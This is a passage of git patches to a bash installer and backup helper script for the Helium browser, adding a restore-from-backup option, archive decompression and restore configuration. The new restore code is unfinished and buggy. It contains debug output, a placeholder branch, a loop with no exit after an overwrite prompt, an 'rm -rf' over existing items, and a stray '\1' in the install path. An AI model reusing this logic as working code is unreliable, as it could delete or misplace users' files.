$RESTORE_TARGET" >> $TMP/backup_restore/options - NUMBER=$(($NUMBER+1)) + echo " $i - $RESTORE_TARGET" >> $TMP/backup_restore/options + i=$(($i+1)) done cd $CWD - echo -e "$(cat $TMP/backup_restore/options)" - rm -rf $TMP - fi + echo -e " ${CYN}Choose one of the $BACKUP_COUNT options below${CRS}\n" + echo -e "$(cat $TMP/backup_restore/options)\n" + while true ; do + read -p " Enter backup ID (1-$BACKUP_COUNT) or exit : " RESTORE_SELECT + + if [[ "$RESTORE_SELECT" -le "$BACKUP_COUNT" && "$RESTORE_SELECT" -gt "0" ]] ; then + RESTORE_FILE=$(sed -n $RESTORE_SELECT\p $TMP/backup_restore/options | awk '{print $3}') + RESTORE_SOURCE=$BACKUP_PATH/$RESTORE_FILE + echo $RESTORE_SOURCE + break + + elif [[ "$RESTORE_SELECT" == "exit" || "$RESTORE_SELECT" == "EXIT" ]] ; then + echo + exit_clean + + else + echo -e "\n ${YEL}Invalid response!${CRS}\n" + fi + done + + elif [ "$BACKUP_COUNT" -lt "1" ] ; then + echo -e " ${RED}No backup archive found in ${CYN}$BACKUP_PATH${RED}!${CRS}" + exit_clean + + else + RESTORE_SOURCE=$(ls $BACKUP_PATH/$APP_NAME.$BACKUP_TYPE.backup_*) + echo $RESTORE_SOURCE + fi } -### REMOVE +#################### REMOVE #################### remove_application() { if [ -d "$INSTALL_PATH" ] ; then @@ -589,11 +642,11 @@ remove_application() { break elif [[ "$CONFIRM_REMOVE" == "n" || "$CONFIRM_REMOVE" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}" + echo -e "\n ${RED}Cancelled!${CRS}" exit else - echo -e " ${YEL}Invalid response!${CRS}\n" + echo -e "\n ${YEL}Invalid response!${CRS}\n" fi done @@ -603,12 +656,12 @@ remove_application() { fi } -### SCRIPT VERSION +#################### SCRIPT VERSION #################### script_version() { echo -e "\n ${CYN}$APP_NAME_LONG Helper Script Version : ${CRS}$SCRIPT_VERSION\n" } -### UPDATE SCRIPT +#################### UPDATE SCRIPT #################### scrip_version_info() { echo -e " - ${CYN}Local Version :\t${CRS}$SCRIPT_VERSION" echo -e " - ${CYN}Remote Version :\t${CRS}$REMOTE_SCRIPT_VERSION" @@ -699,7 +752,7 @@ update_script() { fi } -### COMPARE APP VERSION +#################### COMPARE APP VERSION #################### app_version_info() { echo -e " - ${CYN}Local Version :\t${CRS}$LOCAL_VERSION" echo -e " - ${CYN}$APP_SOURCE Version :\t${CRS}$APP_SOURCE_VERSION\n" @@ -735,17 +788,18 @@ compare_version() { fi } -### HELP +#################### HELP #################### help() { echo -e "\n${LCY}${SCRIPT_NAME}${CRS}\n" echo -e "$APP_NAME_LONG installer & updater script\n" - echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -l | -a | -u | -b | -r | -c | -s | -S | -h ]\n" + echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -l | -a | -u | -b | -B | -r | -c | -s | -S | -h ]\n" echo -e "Options:\n" echo -e "\t-i\tInstall $APP_NAME_LONG from $APP_SOURCE" echo -e "\t-l\tCreate desktop launcher" echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME" echo -e "\t-u\tUpdate $APP_NAME_LONG from $APP_SOURCE" echo -e "\t-b\tBackup $APP_NAME_LONG & configuration" + echo -e "\t-B\tRestore $APP_NAME_LONG & configuration from backup" echo -e "\t-r\tRemove $APP_NAME_LONG" echo -e "\t-c\tCompare local to remote version" echo -e "\t-s\tShow script version" @@ -757,7 +811,7 @@ help() { echo -e "\t${CYN}${SCRIPT_PATH}${CRS}\t\t\tScript location\n" } -### EXIT CLEAN +#################### EXIT CLEAN #################### exit_clean() { if [ -d "$TMP" ] ; then rm -rf $TMP @@ -766,10 +820,9 @@ exit_clean() { exit } -########## MAIN ########## +########################### MAIN ########################### -## GET OPTIONS -while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do +while getopts ":i,:l,:a,:u,:b,:B,:r,:c,:s,:S,:h" OPTION ; do if [ "$(echo $1 | wc -m)" -gt "3" ] ; then echo -e "\n${YEL}Option ${RED}$1${YEL} not valid! Use only one parameter at a time...${CRS}" @@ -779,6 +832,7 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do case $OPTION in i) + TARGET="INSTALL" echo -e "\n ${YEL}Installing $APP_NAME_LONG...${CRS}\n" if [ "$#" -gt "1" ] ; then ALL_PARAMETER=$@ @@ -791,6 +845,7 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do fi dependency_check arch_check + path_correction install_application exit_clean ;; @@ -825,6 +880,7 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do exit_clean ;; b) + TARGET="BACKUP" echo -e "\n ${YEL}Backing up $APP_NAME_LONG...${CRS}" if [ "$#" -gt "1" ] ; then ALL_PARAMETER=$@ @@ -836,14 +892,42 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do elif [[ "$PARAMETER" == "pbzip2" || "$PARAMETER" == "gzip" || "$PARAMETER" == "bzip2" || "$PARAMETER" == "zip" ]] ; then BACKUP_COMPRESSION_OVERRIDE=$PARAMETER - elif [ -d "$PARAMETER" ] ; then + elif [[ -d "$PARAMETER" || -d "$(pwd)/$PARAMETER" ]] ; then BACKUP_PATH=$PARAMETER fi done fi + path_correction call_backup exit ;; + B) + TARGET="BACKUP" + echo -e "\n ${YEL}Restoring $APP_NAME_LONG from backup...${CRS}\n" + if [ "$#" -gt "1" ] ; then + ALL_PARAMETER=$@ + + for PARAMETER in ${ALL_PARAMETER[@]} ; do + if [[ "$PARAMETER" == "script" || "$PARAMETER" == "config" || "$PARAMETER" == "app" || "$PARAMETER" == "full" ]] ; then + BACKUP_TYPE=$PARAMETER + + elif [[ -d $PARAMETER || -d $(pwd)/$PARAMETER ]] ; then + BACKUP_PATH=$PARAMETER + + else + BACKUP_TYPE=* + fi + done + + else + BACKUP_TYPE=* + + fi + dependency_check + path_correction + select_backup + exit_clean ;; + r) echo -e "\n ${YEL}Removing $APP_NAME_LONG...${CRS}\n" remove_application From db004f9367c8f6af98927491b451d3489507cfe2 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 16 Jan 2026 14:33:51 +0100 Subject: [PATCH 106/106] Restore select function added; Decompress function added; Configure restore function added --- helium_helper.sh | 175 ++++++++++++++++++++++++++++++++++++++++------- 1 file changed, 150 insertions(+), 25 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 02556f7..881985b 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -24,13 +24,14 @@ SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_launcher_update.sh" SCRIPT_VERSION="0.5.9.1" -ALIAS="update-helium" +ALIAS="helium-helper" DATE=$(date +"%d%m%y") ## LOCATIONS TMP=/tmp/$APP_NAME -INSTALL_PATH=$HOME/.apps/$APP_NAME -APP_CONFIG_PATH=$HOME/.config/net.imput.helium +INSTALL_PATH=$HOME/.apps/$APP_NAME\1 +APP_CONFIG_FOLDER="net.imput.helium" +APP_CONFIG_PATH=$HOME/.config/$APP_CONFIG_FOLDER ASSET_PATH=$INSTALL_PATH/assets BACKUP_PATH=$ASSET_PATH/backup LOG_PATH=$ASSET_PATH/logs @@ -379,40 +380,50 @@ backup_logger() { if [ "$ACTIVE_SHELL" == "zsh" ] ; then if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then - echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log - echo " - Alias : TRUE" >> $TMP/backup/conf_log + echo " # Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " # Alias : TRUE" >> $TMP/backup/conf_log fi elif [ "$ACTIVE_SHELL" == "bash" ] ; then if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then - echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log - echo " - Alias : TRUE" >> $TMP/backup/conf_log + echo " # Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " # Alias : TRUE" >> $TMP/backup/conf_log fi elif [ "$ACTIVE_SHELL" == "fish" ] ; then if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then - echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log - echo " - Alias : TRUE" >> $TMP/backup/conf_log + echo " # Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " # Alias : TRUE" >> $TMP/backup/conf_log fi else - echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log - echo " - Alias : FALSE" >> $TMP/backup/conf_log + echo " # Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " # Alias : FALSE" >> $TMP/backup/conf_log fi LOGGABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") for LOG_ITEM in ${LOGGABLE[@]} ; do if [ -d "$LOG_ITEM" ] ; then - echo " - Directory : $LOG_ITEM" >> $TMP/backup/conf_log + echo " # Folder : $LOG_ITEM" >> $TMP/backup/conf_log elif [ -f "$LOG_ITEM" ] ; then - echo " - File : $LOG_ITEM" >> $TMP/backup/conf_log + echo " # File : $LOG_ITEM" >> $TMP/backup/conf_log else - echo " - N/A : $LOG_ITEM" >> $TMP/backup/conf_log + echo " # N/A : $LOG_ITEM" >> $TMP/backup/conf_log fi done + + echo >> $TMP/backup/conf_log + echo >> $TMP/backup/conf_log + echo "### $SCRIPT_FILE_NAME VARIABLES ###" >> $TMP/backup/conf_log + echo >> $TMP/backup/conf_log + echo "INSTALL_PATH=$INSTALL_PATH" >> $TMP/backup/conf_log + echo "SCRIPT_PATH=$SCRIPT_PATH" >> $TMP/backup/conf_log + echo "LAUNCHER_PATH=$LAUNCHER_PATH" >> $TMP/backup/conf_log + echo "APP_CONFIG_PATH=$APP_CONFIG_PATH" >> $TMP/backup/conf_log + echo >> $TMP/backup/conf_log } backup_file_collector() { @@ -566,7 +577,7 @@ select_backup() { done cd $CWD - echo -e " ${CYN}Choose one of the $BACKUP_COUNT options below${CRS}\n" + echo -e "\n ${CYN}Choose one of the $BACKUP_COUNT options below${CRS}\n" echo -e "$(cat $TMP/backup_restore/options)\n" while true ; do @@ -574,8 +585,8 @@ select_backup() { if [[ "$RESTORE_SELECT" -le "$BACKUP_COUNT" && "$RESTORE_SELECT" -gt "0" ]] ; then RESTORE_FILE=$(sed -n $RESTORE_SELECT\p $TMP/backup_restore/options | awk '{print $3}') + BACKUP_TYPE=$(echo $RESTORE_FILE | awk -F'.' '{print $2}') RESTORE_SOURCE=$BACKUP_PATH/$RESTORE_FILE - echo $RESTORE_SOURCE break elif [[ "$RESTORE_SELECT" == "exit" || "$RESTORE_SELECT" == "EXIT" ]] ; then @@ -588,12 +599,128 @@ select_backup() { done elif [ "$BACKUP_COUNT" -lt "1" ] ; then - echo -e " ${RED}No backup archive found in ${CYN}$BACKUP_PATH${RED}!${CRS}" + echo -e " ${RED}No backup archive found in ${CYN}$BACKUP_PATH${RED}!${CRS}\n" exit_clean else RESTORE_SOURCE=$(ls $BACKUP_PATH/$APP_NAME.$BACKUP_TYPE.backup_*) - echo $RESTORE_SOURCE + RESTORE_FILE=$(echo $RESTORE_SOURCE | rev | awk -F'/' '{print $1}' | rev) + + if [ "$BACKUP_TYPE" == "*" ] ; then + BACKUP_TYPE=$(file $RESTORE_SOURCE | awk '{print $1}' | awk -F'.' '{print $2}') + fi + fi + + BACKUP_COMPRESSION=$(file $RESTORE_SOURCE | awk '{print $2}') + decompress_backup + configure_restore + restore_backup +} + +decompress_backup() { + CWD=$(pwd) + mkdir -p $TMP/backup_restore + cd $TMP/backup_restore + echo -e "\n - ${CRS}Decompressing backup archive ${CYN}$RESTORE_FILE${CRS}...${CRS}\n" + cp $RESTORE_SOURCE . + + if [ "$BACKUP_COMPRESSION" == "bzip2" ] ; then + tar -xjf $APP_NAME.*.backup_*.tar.bz2 + rm $APP_NAME.*.backup_*.tar.bz2 + + elif [ "$BACKUP_COMPRESSION" == "gzip" ] ; then + tar -xzf $APP_NAME.*.backup_*.tar.gz + rm $APP_NAME.*.backup_*.tar.gz + + elif [ "$BACKUP_COMPRESSION" == "zip" ] ; then + unzip $APP_NAME.*.backup_*.tar.zip + tar -xf $APP_NAME.*.backup_*.tar + rm $APP_NAME.*.backup_*.tar.zip $APP_NAME.*.backup_*.tar.zip + + else + echo -e " ${YEL}TBA...${CRS}\n" ####################################################################### + fi +} + +configure_restore() { + echo -e " - ${CRS}Analysing ${CYN}$BACKUP_TYPE${CRS} backup content...${CRS}\n" + + RESTORABLE=("$APP_NAME.$FILE_EXTENSION" "$SCRIPT_FILE_NAME" "$AUTO_SCRIPT_FILE_NAME" "$APP_NAME.desktop" "$APP_CONFIG_FOLDER") + + for RESTORE_ITEM in ${RESTORABLE[@]} ; do + if [ -d "$RESTORE_ITEM" ] ; then + if [ -d "$APP_CONFIG_PATH" ] ; then + echo " - Folder : $RESTORE_ITEM | already present" >> $TMP/restore_conf + echo $RESTORE_ITEM >> $TMP/restore_check + + else + echo " - Folder : $RESTORE_ITEM | not present" >> $TMP/restore_conf + fi + + elif [ -f "$RESTORE_ITEM" ] ; then + if [[ -f "$INSTALL_PATH/$RESTORE_ITEM" || -f "$SCRIPT_PATH/$RESTORE_ITEM" || -f "$LAUNCHER_PATH/$RESTORE_ITEM" ]] ; then + echo " - File : $RESTORE_ITEM | already present" >> $TMP/restore_conf + echo "\"$RESTORE_ITEM\"" >> $TMP/restore_check + + else + echo " - File : $RESTORE_ITEM | not present" >> $TMP/restore_conf + fi + fi + done + + RESTORE_PATH=("INSTALL_PATH" "SCRIPT_PATH" "LAUNCHER_PATH" "APP_CONFIG_PATH") + ################################################################################################# + for CHANGED in ${RESTORE_PATH[@]} ; do + LOCAL_PATH=$(echo \$$CHANGED) + echo $LOCAL_PATH + if [ "$(cat conf_log | grep $RESTORE_PATH | awk -F '=' '{print $2}')" == "$LOCAL_PATH" ] ; then + echo $(cat conf_log | grep "${CHANGED}_PATH") >> $TMP/restore_path_change + echo "${CHANGED}_PATH" + + else + echo "BAD" + echo $(cat conf_log | grep "${CHANGED}_PATH") + fi + done +} + +restore_backup() { + echo -e " ${LCY}Backup Content Summary${CRS}\n" + echo -e "$(cat $TMP/restore_conf)\n" + + if [ -f "$TMP/restore_check" ] ; then + echo -e " ${RED}WARNING: Some items are existing on your system!${CRS}\n" + + while true ; do + read -p " Overwrite existing? (y/N) : " RESTORE_OVERWRITE + + if [[ "$RESTORE_OVERWRITE" == "" || "$RESTORE_OVERWRITE" == "n" || "$RESTORE_OVERWRITE" == "N" ]] ; then + echo -e "\n ${RED}Cancelled!${CRS}\n" + break + + elif [[ "$RESTORE_OVERWRITE" == "y" || "$RESTORE_OVERWRITE" == "Y" ]] ; then + EXISTING=$(cat $TMP/restore_check) + + for REPLACE in ${EXISTING[@]} ; do + rm -rf $REPLACE + done + fi + done + + else + echo -e " ${CYN}The content above is about to be restored...${CRS}\n" + + while true ; do + read -p " Proceed with changes? (Y/n) : " RESTORE_CONFIRM + + if [[ "$RESTORE_CONFIRM" == "" || "$RESTORE_CONFIRM" == "y" || "$RESTORE_CONFIRM" == "Y" ]] ; then + echo -e " - ${CRS}Copying ${CYN}$BACKUP_TYPE${CRS} backup files...${CRS}\n" + + elif [[ "$RESTORE_CONFIRM" == "n" || "$RESTORE_CONFIRM" == "N" ]] ; then + echo -e "\n ${RED}Cancelled!${CRS}\n" + break + fi + done fi } @@ -677,8 +804,7 @@ update_script() { read -p " Copy script to $SCRIPT_PATH? (Y/n) : " CONFIRM_SCRIPT_INSTALL if [[ "$CONFIRM_SCRIPT_INSTALL" == "" || "$CONFIRM_SCRIPT_INSTALL" == "y" || "$CONFIRM_SCRIPT_INSTALL" == "Y" ]] ; then - mkdir -p $SCRIPT_PATH - mkdir -p $TMP + mkdir -p $SCRIPT_PATH $TMP wget -P $TMP $REMOTE_SCRIPT_URL -q wget -P $TMP $REMOTE_REPO_URL/$AUTO_SCRIPT_FILE_NAME -q chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME @@ -721,7 +847,6 @@ update_script() { while true ; do read -p " Update $SCRIPT_FILE_NAME? (Y/n) : " CONFIRM_SCRIPT_UPDATE - echo if [[ "$CONFIRM_SCRIPT_UPDATE" == "" || "$CONFIRM_SCRIPT_UPDATE" == "y" || "$CONFIRM_SCRIPT_UPDATE" == "Y" ]] ; then if ! [ -d "$BACKUP_PATH" ] ; then @@ -737,11 +862,11 @@ update_script() { break elif [[ "$CONFIRM_SCRIPT_UPDATE" == "n" || "$CONFIRM_SCRIPT_UPDATE" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}\n" + echo -e "\n ${RED}Cancelled!${CRS}\n" break else - echo -e " ${YEL}Invalid response!${CRS}\n" + echo -e "\n ${YEL}Invalid response!${CRS}\n" fi done @@ -899,11 +1024,11 @@ while getopts ":i,:l,:a,:u,:b,:B,:r,:c,:s,:S,:h" OPTION ; do fi path_correction call_backup - exit ;; + exit_clean ;; B) TARGET="BACKUP" - echo -e "\n ${YEL}Restoring $APP_NAME_LONG from backup...${CRS}\n" + echo -e "\n ${YEL}Restoring $APP_NAME_LONG from backup...${CRS}" if [ "$#" -gt "1" ] ; then ALL_PARAMETER=$@